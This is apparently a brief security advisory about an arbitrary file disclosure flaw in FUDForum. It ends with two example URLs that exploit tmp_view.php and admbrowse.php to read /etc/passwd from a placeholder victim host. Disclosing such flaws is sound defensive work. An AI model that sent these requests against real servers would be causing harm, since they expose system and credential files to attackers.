source: https://www.securityfocus.com/bid/5501/info

Reportedly, FUDForum may disclose contents of arbitrary files to attackers. The vulnerability is the result of FUDForum failing to check the path of the file that is being requested. By simply making malicious requests via URI parameters, an attacker is able to obtain access to potentially sensitive files.

http://victimhost.com/tmp_view.php?file=/etc/passwd
http://victimhost.com/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]